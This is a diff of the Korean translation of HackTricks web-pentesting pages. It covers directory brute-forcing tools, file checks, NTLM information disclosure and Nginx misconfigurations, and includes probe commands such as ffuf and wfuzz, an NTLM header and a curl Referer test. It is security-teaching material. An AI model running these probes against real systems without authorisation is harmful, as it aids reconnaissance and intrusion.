* **Dirb** / **Dirbuster** - Kali에 포함되어 있으며, **오래된** (및 **느린**) 하지만 기능적입니다. 자동 서명된 인증서를 허용하고 재귀 검색을 지원합니다. 다른 옵션에 비해 너무 느립니다.
|
||||
* **Dirb** / **Dirbuster** - Kali에 포함되어 있으며, **오래된** (및 **느린**) 기능이지만 작동합니다. 자동 서명된 인증서를 허용하고 재귀 검색을 지원합니다. 다른 옵션에 비해 너무 느립니다.
|
||||
* [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: 자동 서명된 인증서를 허용하지 않지만** 재귀 검색을 허용합니다.
|
||||
* [**Gobuster**](https://github.com/OJ/gobuster) (go): 자동 서명된 인증서를 허용하며, **재귀** 검색이 **없습니다**.
|
||||
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- 빠르며, 재귀 검색을 지원합니다.**
|
||||
* [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
|
||||
* [**ffuf** ](https://github.com/ffuf/ffuf)- 빠름: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
|
||||
* [**uro**](https://github.com/s0md3v/uro) (python): 이 도구는 스파이더는 아니지만 발견된 URL 목록을 주면 "중복된" URL을 삭제합니다.
|
||||
* [**Scavenger**](https://github.com/0xDexter0us/Scavenger): 다양한 페이지의 burp 기록에서 디렉토리 목록을 생성하기 위한 Burp 확장입니다.
|
||||
* [**TrashCompactor**](https://github.com/michael1026/trashcompactor): 기능이 중복된 URL을 제거합니다(자바스크립트 가져오기를 기반으로).
|
||||
* [**Scavenger**](https://github.com/0xDexter0us/Scavenger): 다양한 페이지의 burp 기록에서 디렉토리 목록을 생성하는 Burp 확장입니다.
|
||||
* [**TrashCompactor**](https://github.com/michael1026/trashcompactor): 기능이 중복된 URL을 제거합니다(기반 js 가져오기).
|
||||
* [**Chamaleon**](https://github.com/iustin24/chameleon): 사용된 기술을 감지하기 위해 wapalyzer를 사용하고 사용할 단어 목록을 선택합니다.
|
||||
|
||||
**추천 사전:**
|
||||
|
@ -271,7 +271,7 @@ Information about SSL/TLS vulnerabilities:
|
|||
* [https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/bf\_directories.txt](https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/bf\_directories.txt)
|
||||
* [**Dirsearch** 포함 사전](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
|
||||
* [http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10](http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10)
|
||||
* [Assetnote wordlists](https://wordlists.assetnote.io)
|
||||
* [Assetnote 단어 목록](https://wordlists.assetnote.io)
|
||||
* [https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content)
|
||||
* raft-large-directories-lowercase.txt
|
||||
* directory-list-2.3-medium.txt
|
||||
|
@ -285,65 +285,65 @@ Information about SSL/TLS vulnerabilities:
|
|||
* _/usr/share/wordlists/dirb/big.txt_
|
||||
* _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
|
||||
|
||||
_브루트 포싱이나 스파이더링 중에 새로운 디렉토리가 발견될 때마다 브루트 포싱을 해야 합니다._
|
||||
_무차별 대입 또는 스파이더링 중에 새로운 디렉토리가 발견될 때마다 무차별 대입해야 합니다._
|
||||
|
||||
### What to check on each file found
|
||||
### 발견된 각 파일에서 확인할 사항
|
||||
|
||||
* [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): 인수인계가 발생할 수 있는 HTML 내의 끊어진 링크를 찾습니다.
|
||||
* **파일 백업**: 모든 파일을 찾은 후, 모든 실행 파일의 백업을 찾습니다("_.php_", "_.aspx_"...). 백업 이름의 일반적인 변형은: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp 및 file.old._ 도구 [**bfac**](https://github.com/mazen160/bfac) **또는** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**을 사용할 수 있습니다.**
|
||||
* **새로운 매개변수 발견**: [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **및** [**Param Miner**](https://github.com/PortSwigger/param-miner) **와 같은 도구를 사용하여 숨겨진 매개변수를 발견할 수 있습니다. 가능하다면 각 실행 웹 파일에서 숨겨진 매개변수를 검색해 보십시오.**
|
||||
* [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): 인수인계에 취약할 수 있는 HTML 내의 끊어진 링크를 찾습니다.
|
||||
* **파일 백업**: 모든 파일을 찾은 후 실행 가능한 모든 파일("_.php_", "_.aspx_"...)의 백업을 찾습니다. 백업 이름의 일반적인 변형은: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp 및 file.old._ 도구 [**bfac**](https://github.com/mazen160/bfac) **또는** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**를 사용할 수 있습니다.**
|
||||
* **새로운 매개변수 발견**: [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **및** [**Param Miner**](https://github.com/PortSwigger/param-miner) **와 같은 도구를 사용하여 숨겨진 매개변수를 발견할 수 있습니다. 가능하다면 각 실행 가능한 웹 파일에서 숨겨진 매개변수를 검색해 보십시오.**
|
||||
* _Arjun 모든 기본 단어 목록:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
|
||||
* _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
|
||||
* _Assetnote “parameters\_top\_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
|
||||
* _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
|
||||
* **댓글:** 모든 파일의 댓글을 확인하십시오. **자격 증명** 또는 **숨겨진 기능**을 찾을 수 있습니다.
|
||||
* **CTF**를 진행 중이라면, "일반적인" 트릭은 페이지의 **오른쪽**에 있는 댓글 안에 **정보**를 **숨기는 것**입니다(브라우저로 소스 코드를 열어도 데이터를 보지 못하도록 **수백 개의 공백**을 사용). 다른 가능성은 **여러 개의 새 줄**을 사용하고 웹 페이지의 **하단**에 있는 댓글에 **정보를 숨기는 것**입니다.
|
||||
* **API 키**: **API 키**를 발견하면 다양한 플랫폼의 API 키 사용 방법을 안내하는 가이드가 있습니다: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
|
||||
* Google API 키: **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik와 같은 API 키를 발견하면 [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) 프로젝트를 사용하여 키가 접근할 수 있는 API를 확인할 수 있습니다.
|
||||
* **S3 버킷**: 스파이더링 중에 **서브도메인**이나 **링크**가 어떤 **S3 버킷**과 관련이 있는지 확인하십시오. 그런 경우, [**버킷의 권한을 확인하십시오**](buckets/).
|
||||
* **주석:** 모든 파일의 주석을 확인하십시오. **자격 증명** 또는 **숨겨진 기능**을 찾을 수 있습니다.
|
||||
* **CTF**를 진행 중이라면, "일반적인" 트릭은 페이지의 **오른쪽**에 **정보**를 **숨기는 것**입니다(브라우저로 소스 코드를 열면 데이터를 볼 수 없도록 **수백 개의 공백**을 사용). 다른 가능성은 **여러 개의 새 줄**을 사용하고 웹 페이지의 **하단**에 주석으로 **정보를 숨기는 것**입니다.
|
||||
* **API 키**: **API 키**를 찾으면 다양한 플랫폼의 API 키 사용 방법을 안내하는 가이드가 있습니다: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
|
||||
* Google API 키: **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik와 같은 API 키를 찾으면 [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) 프로젝트를 사용하여 키가 액세스할 수 있는 API를 확인할 수 있습니다.
|
||||
* **S3 버킷**: 스파이더링 중에 **서브도메인**이나 **링크**가 **S3 버킷**과 관련이 있는지 확인하십시오. 그런 경우 [**버킷의 권한을 확인하십시오**](buckets/).
|
||||
|
||||
### Special findings
|
||||
### 특별 발견
|
||||
|
||||
**스파이더링** 및 **브루트 포싱**을 수행하는 동안 **흥미로운** **것들**을 **발견할 수 있습니다**.
|
||||
**스파이더링** 및 **무차별 대입**을 수행하는 동안 **흥미로운** **사항**을 **주의**해야 합니다.
|
||||
|
||||
**흥미로운 파일**
|
||||
|
||||
* **CSS** 파일 내의 다른 파일에 대한 **링크**를 찾습니다.
|
||||
* [**.git**_ 파일을 발견하면 일부 정보를 추출할 수 있습니다](git.md)
|
||||
* **.env**를 발견하면 API 키, DB 비밀번호 및 기타 정보를 찾을 수 있습니다.
|
||||
* **API 엔드포인트**를 발견하면 [테스트해야 합니다](web-api-pentesting.md). 이들은 파일은 아니지만 아마도 "파일처럼" 보일 것입니다.
|
||||
* **JS 파일**: 스파이더링 섹션에서 JS 파일에서 경로를 추출할 수 있는 여러 도구가 언급되었습니다. 또한 발견된 각 JS 파일을 **모니터링**하는 것도 흥미로울 것입니다. 어떤 경우에는 변경 사항이 코드에 잠재적인 취약점이 도입되었음을 나타낼 수 있습니다. 예를 들어 [**JSMon**](https://github.com/robre/jsmon)**을 사용할 수 있습니다.**
|
||||
* [**.git**_ 파일을 찾으면 일부 정보를 추출할 수 있습니다.](git.md)
|
||||
* **.env**를 찾으면 API 키, DB 비밀번호 및 기타 정보를 찾을 수 있습니다.
|
||||
* **API 엔드포인트**를 찾으면 [테스트해야 합니다](web-api-pentesting.md). 이들은 파일은 아니지만 아마도 "파일처럼" 보일 것입니다.
|
||||
* **JS 파일**: 스파이더링 섹션에서 JS 파일에서 경로를 추출할 수 있는 여러 도구가 언급되었습니다. 또한 발견된 각 JS 파일을 **모니터링**하는 것도 흥미로울 것입니다. 경우에 따라 변경 사항이 코드에 잠재적인 취약점이 도입되었음을 나타낼 수 있습니다. 예를 들어 [**JSMon**](https://github.com/robre/jsmon)**을 사용할 수 있습니다.**
|
||||
* 발견된 JS 파일을 [**RetireJS**](https://github.com/retirejs/retire.js/) 또는 [**JSHole**](https://github.com/callforpapers-source/jshole)로 확인하여 취약한지 확인해야 합니다.
|
||||
* **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
|
||||
* **Javascript Deobfuscator 및 Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
|
||||
* **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
|
||||
* **JsFuck deobfuscation** (문자와 함께 자바스크립트: "\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/))
|
||||
* **JsFuck 디오브퓨케이션** (문자와 함께 자바스크립트: "\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/))
|
||||
* [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
|
||||
* 여러 경우에 **사용된 정규 표현식**을 이해해야 할 필요가 있습니다. 이는 유용할 것입니다: [https://regex101.com/](https://regex101.com)
|
||||
* **양식이 감지된 파일을 모니터링**해야 하며, 매개변수의 변경이나 새로운 양식의 출현은 잠재적인 새로운 취약한 기능을 나타낼 수 있습니다.
|
||||
* **양식이 감지된 파일을 모니터링**해야 합니다. 매개변수의 변경이나 새로운 양식의 출현은 잠재적인 새로운 취약한 기능을 나타낼 수 있습니다.
|
||||
|
||||
**403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
|
||||
**403 금지/기본 인증/401 권한 없음 (우회)**
|
||||
|
||||
{% content-ref url="403-and-401-bypasses.md" %}
|
||||
[403-and-401-bypasses.md](403-and-401-bypasses.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
**502 Proxy Error**
|
||||
**502 프록시 오류**
|
||||
|
||||
어떤 페이지가 **이 코드**로 **응답**하면, 아마도 **잘못 구성된 프록시**일 것입니다. **`GET https://google.com HTTP/1.1`**와 같은 HTTP 요청을 보내면(호스트 헤더 및 기타 일반 헤더 포함), **프록시**는 _**google.com**_에 **접근**하려고 시도하며, 이로 인해 SSRF를 발견하게 됩니다.
|
||||
어떤 페이지가 **코드**로 **응답**하면, 아마도 **잘못 구성된 프록시**일 것입니다. **`GET https://google.com HTTP/1.1`**와 같은 HTTP 요청을 보내면(호스트 헤더 및 기타 일반 헤더 포함), **프록시**는 _**google.com**_에 **접근**하려고 시도하며, 이로 인해 **SSRF**를 발견하게 됩니다.
|
||||
|
||||
**NTLM Authentication - Info disclosure**
|
||||
**NTLM 인증 - 정보 공개**
|
||||
|
||||
인증을 요청하는 서버가 **Windows**이거나 **자격 증명**(및 **도메인 이름** 요청)을 요구하는 로그인 화면을 발견하면 **정보 유출**을 유발할 수 있습니다.\
|
||||
**헤더**를 **보내십시오**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` 그리고 **NTLM 인증이 작동하는 방식** 때문에 서버는 "WWW-Authenticate" 헤더 내에 내부 정보(IIS 버전, Windows 버전 등...)로 응답할 것입니다.\
|
||||
이 작업은 **nmap 플러그인** "_http-ntlm-info.nse_"를 사용하여 자동화할 수 있습니다.
|
||||
인증을 요청하는 서버가 **Windows**이거나 **자격 증명**(및 **도메인 이름** 요청)을 요구하는 로그인 화면을 찾으면 **정보 공개**를 유발할 수 있습니다.\
|
||||
**헤더를 전송하십시오**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` 그리고 **NTLM 인증이 작동하는 방식** 때문에 서버는 "WWW-Authenticate" 헤더 내에 내부 정보(IIS 버전, Windows 버전 등...)로 응답할 것입니다.\
|
||||
이 작업은 **nmap 플러그인** "_http-ntlm-info.nse_"를 사용하여 **자동화**할 수 있습니다.
|
||||
|
||||
**HTTP Redirect (CTF)**
|
||||
**HTTP 리디렉션 (CTF)**
|
||||
|
||||
**리디렉션** 내에 **내용**을 **넣는** 것이 가능합니다. 이 내용은 **사용자에게 표시되지 않습니다**(브라우저가 리디렉션을 실행하기 때문) 하지만 그 안에 **숨겨진** 것이 있을 수 있습니다.
|
||||
**리디렉션** 내에 **내용**을 **넣는** 것이 가능합니다. 이 내용은 **사용자에게 표시되지 않습니다**(브라우저가 리디렉션을 실행하므로) 그러나 그 안에 **숨겨진** 것이 있을 수 있습니다.
|
||||
|
||||
### Web Vulnerabilities Checking
|
||||
### 웹 취약점 확인
|
||||
|
||||
웹 애플리케이션에 대한 포괄적인 열거가 수행되었으므로 이제 많은 가능한 취약점을 확인할 시간입니다. 체크리스트는 여기에서 찾을 수 있습니다:
|
||||
웹 애플리케이션에 대한 포괄적인 열거가 수행되었으므로 이제 가능한 많은 취약점을 확인할 시간입니다. 체크리스트는 여기에서 찾을 수 있습니다:
|
||||
|
||||
{% content-ref url="../../pentesting-web/web-vulnerabilities-methodology.md" %}
|
||||
[web-vulnerabilities-methodology.md](../../pentesting-web/web-vulnerabilities-methodology.md)
|
||||
|
@ -355,19 +355,19 @@ _브루트 포싱이나 스파이더링 중에 새로운 디렉토리가 발견
|
|||
* [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html)
|
||||
* [https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection](https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection)
|
||||
|
||||
### Monitor Pages for changes
|
||||
### 변경 사항에 대한 페이지 모니터링
|
||||
|
||||
[https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io)와 같은 도구를 사용하여 페이지의 수정 사항을 모니터링하여 취약점을 삽입할 수 있습니다.
|
||||
[https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io)와 같은 도구를 사용하여 취약점을 삽입할 수 있는 수정 사항을 모니터링할 수 있습니다.
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Get a hacker's perspective on your web apps, network, and cloud
|
||||
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으십시오.**
|
||||
|
||||
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하십시오.** 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내고 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하는 20개 이상의 사용자 정의 도구를 사용하십시오.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
### HackTricks Automatic Commands
|
||||
### HackTricks 자동 명령
|
||||
```
|
||||
Protocol_Name: Web #Protocol Abbreviation if there is one.
|
||||
Port_Number: 80,443 #Comma separated if there is more than one.
|
||||
|
@ -446,8 +446,8 @@ GCP 해킹 배우기 및 연습하기: <img src="../../.gitbook/assets/grte.png"
|
|||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -17,15 +17,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 필수 증거를 수집하기 위해 자동화된 익스플로잇을 사용하여 귀하의 노력을 설득력 있는 보고서로 전환하는 20개 이상의 맞춤형 도구를 사용하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## 누락된 루트 위치 <a href="#missing-root-location" id="missing-root-location"></a>
|
||||
## Missing root location <a href="#missing-root-location" id="missing-root-location"></a>
|
||||
|
||||
Nginx 서버를 구성할 때, **루트 지시어**는 파일이 제공되는 기본 디렉토리를 정의함으로써 중요한 역할을 합니다. 아래 예를 고려하세요:
|
||||
Nginx 서버를 구성할 때, **root directive**는 파일이 제공되는 기본 디렉토리를 정의함으로써 중요한 역할을 합니다. 아래의 예를 고려하세요:
|
||||
```bash
|
||||
server {
|
||||
root /etc/nginx;
|
||||
|
@ -36,7 +36,7 @@ proxy_pass http://127.0.0.1:8080/;
|
|||
}
|
||||
}
|
||||
```
|
||||
이 구성에서 `/etc/nginx`는 루트 디렉토리로 지정됩니다. 이 설정은 `/hello.txt`와 같은 지정된 루트 디렉토리 내의 파일에 대한 접근을 허용합니다. 그러나 특정 위치(`location /hello.txt`)만 정의되어 있다는 점이 중요합니다. 루트 위치(`location / {...}`)에 대한 구성은 없습니다. 이 누락은 루트 지시어가 전역적으로 적용되어, 루트 경로 `/`에 대한 요청이 `/etc/nginx` 아래의 파일에 접근할 수 있게 합니다.
|
||||
이 구성에서 `/etc/nginx`는 루트 디렉토리로 지정됩니다. 이 설정은 `/hello.txt`와 같은 지정된 루트 디렉토리 내의 파일에 대한 접근을 허용합니다. 그러나 특정 위치(`location /hello.txt`)만 정의되어 있다는 점이 중요합니다. 루트 위치(`location / {...}`)에 대한 구성은 없습니다. 이 누락은 루트 지시어가 전역적으로 적용됨을 의미하며, `/` 루트 경로에 대한 요청이 `/etc/nginx` 아래의 파일에 접근할 수 있게 합니다.
|
||||
|
||||
이 구성에서 중요한 보안 고려 사항이 발생합니다. `GET /nginx.conf`와 같은 간단한 `GET` 요청은 `/etc/nginx/nginx.conf`에 위치한 Nginx 구성 파일을 제공함으로써 민감한 정보를 노출할 수 있습니다. 루트를 `/etc`와 같은 덜 민감한 디렉토리로 설정하면 이 위험을 완화할 수 있지만, 여전히 다른 구성 파일, 접근 로그 및 HTTP 기본 인증에 사용되는 암호화된 자격 증명과 같은 다른 중요한 파일에 대한 의도치 않은 접근을 허용할 수 있습니다.
|
||||
|
||||
|
@ -112,14 +112,14 @@ Connection: keep-alive
|
|||
Location: https://example.com/
|
||||
Detectify: clrf
|
||||
```
|
||||
CRLF 주입 및 응답 분할의 위험에 대해 더 알아보려면 [https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/](https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/)를 방문하세요.
|
||||
CRLF 주입 및 응답 분할의 위험에 대해 더 알아보려면 [여기](https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/)를 방문하세요.
|
||||
|
||||
또한 이 기술은 [**이 강연에서 설명됩니다**](https://www.youtube.com/watch?v=gWQyWdZbdoY\&list=PL0xCSYnG\_iTtJe2V6PQqamBF73n7-f1Nr\&index=77) 취약한 예제와 탐지 메커니즘과 함께. 예를 들어, 블랙박스 관점에서 이 잘못된 구성을 탐지하기 위해 다음 요청을 사용할 수 있습니다:
|
||||
|
||||
* `https://example.com/%20X` - 모든 HTTP 코드
|
||||
* `https://example.com/%20H` - 400 잘못된 요청
|
||||
|
||||
취약한 경우, 첫 번째는 "X"가 모든 HTTP 메서드이므로 반환되고, 두 번째는 H가 유효한 메서드가 아니므로 오류를 반환합니다. 따라서 서버는 다음과 같은 것을 받게 됩니다: `GET / H HTTP/1.1` 이로 인해 오류가 발생합니다.
|
||||
취약한 경우, 첫 번째는 "X"가 모든 HTTP 메서드이므로 반환되고, 두 번째는 H가 유효한 메서드가 아니므로 오류를 반환합니다. 따라서 서버는 다음과 같은 내용을 수신하게 됩니다: `GET / H HTTP/1.1` 이로 인해 오류가 발생합니다.
|
||||
|
||||
또 다른 탐지 예제는 다음과 같습니다:
|
||||
|
||||
|
@ -148,19 +148,19 @@ proxy_pass https://company-bucket.s3.amazonaws.com$uri;
|
|||
```
|
||||
### Any variable
|
||||
|
||||
**사용자 제공 데이터**가 특정 상황에서 **Nginx 변수**로 처리될 수 있다는 것이 발견되었습니다. 이 행동의 원인은 다소 불분명하지만, 드물지 않으며 검증하기도 간단하지 않습니다. 이 이상 현상은 HackerOne의 보안 보고서에서 강조되었으며, [여기](https://hackerone.com/reports/370094)에서 확인할 수 있습니다. 오류 메시지에 대한 추가 조사는 [Nginx 코드베이스의 SSI 필터 모듈](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx_http_ssi_filter_module.c#L365) 내에서 발생하는 것을 확인하게 되었으며, 서버 사이드 포함(SSI)이 근본 원인으로 지목되었습니다.
|
||||
**사용자 제공 데이터**가 특정 상황에서 **Nginx 변수**로 처리될 수 있다는 것이 발견되었습니다. 이 행동의 원인은 다소 불분명하지만, 드물지 않으며 검증하기도 간단하지 않습니다. 이 이상 현상은 HackerOne의 보안 보고서에서 강조되었으며, [여기](https://hackerone.com/reports/370094)에서 확인할 수 있습니다. 오류 메시지에 대한 추가 조사는 [Nginx 코드베이스의 SSI 필터 모듈](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx_http_ssi_filter_module.c#L365) 내에서 발생하는 것을 확인하게 되었으며, 서버 사이드 인클루드(SSI)가 근본 원인으로 지목되었습니다.
|
||||
|
||||
이 **잘못된 구성**을 **탐지하기 위해**, 다음 명령을 실행할 수 있으며, 이는 변수 출력을 테스트하기 위해 referer 헤더를 설정하는 것을 포함합니다:
|
||||
```bash
|
||||
$ curl -H ‘Referer: bar’ http://localhost/foo$http_referer | grep ‘foobar’
|
||||
```
|
||||
이 잘못된 구성에 대한 스캔 결과, 사용자가 Nginx 변수를 출력할 수 있는 여러 사례가 발견되었습니다. 그러나 취약한 인스턴스의 수가 감소한 것은 이 문제를 패치하기 위한 노력이 어느 정도 성공적이었다는 것을 시사합니다.
|
||||
이 잘못된 구성에 대한 스캔 결과, 사용자가 Nginx 변수를 출력할 수 있는 여러 인스턴스가 발견되었습니다. 그러나 취약한 인스턴스의 수가 감소한 것은 이 문제를 패치하기 위한 노력이 어느 정도 성공적이었다는 것을 시사합니다.
|
||||
|
||||
## 원시 백엔드 응답 읽기
|
||||
|
||||
Nginx는 `proxy_pass`를 통해 백엔드에서 생성된 오류 및 HTTP 헤더를 가로채는 기능을 제공하여 내부 오류 메시지와 헤더를 숨기도록 설계되었습니다. 이는 Nginx가 백엔드 오류에 대한 사용자 정의 오류 페이지를 제공함으로써 이루어집니다. 그러나 Nginx가 잘못된 HTTP 요청을 처리할 때 문제가 발생합니다. 이러한 요청은 수신된 대로 백엔드로 전달되며, 백엔드의 원시 응답은 Nginx의 개입 없이 클라이언트에게 직접 전송됩니다.
|
||||
Nginx는 `proxy_pass`를 통해 백엔드에서 생성된 오류 및 HTTP 헤더를 가로채는 기능을 제공하여 내부 오류 메시지와 헤더를 숨기도록 합니다. 이는 Nginx가 백엔드 오류에 대한 사용자 정의 오류 페이지를 제공함으로써 이루어집니다. 그러나 Nginx가 잘못된 HTTP 요청을 처리할 때 문제가 발생합니다. 이러한 요청은 수신된 대로 백엔드로 전달되며, 백엔드의 원시 응답은 Nginx의 개입 없이 클라이언트에게 직접 전송됩니다.
|
||||
|
||||
uWSGI 애플리케이션을 포함한 예시 시나리오를 고려해 보십시오:
|
||||
uWSGI 애플리케이션과 관련된 예시 시나리오를 고려해 보십시오:
|
||||
```python
|
||||
def application(environ, start_response):
|
||||
start_response('500 Error', [('Content-Type', 'text/html'), ('Secret-Header', 'secret-info')])
|
||||
|
@ -174,7 +174,7 @@ proxy_intercept_errors on;
|
|||
proxy_hide_header Secret-Header;
|
||||
}
|
||||
```
|
||||
* [**proxy\_intercept\_errors**](http://nginx.org/en/docs/http/ngx\_http\_proxy\_module.html#proxy\_intercept\_errors): 이 지시어는 Nginx가 상태 코드가 300보다 큰 백엔드 응답에 대해 사용자 정의 응답을 제공할 수 있도록 합니다. 이는 예시로 든 uWSGI 애플리케이션의 경우 `500 Error` 응답이 Nginx에 의해 가로채지고 처리되도록 보장합니다.
|
||||
* [**proxy\_intercept\_errors**](http://nginx.org/en/docs/http/ngx\_http\_proxy\_module.html#proxy\_intercept\_errors): 이 지시어는 Nginx가 상태 코드가 300보다 큰 백엔드 응답에 대해 사용자 정의 응답을 제공할 수 있도록 합니다. 이는 예시로 든 uWSGI 애플리케이션의 `500 Error` 응답이 Nginx에 의해 가로채지고 처리되도록 보장합니다.
|
||||
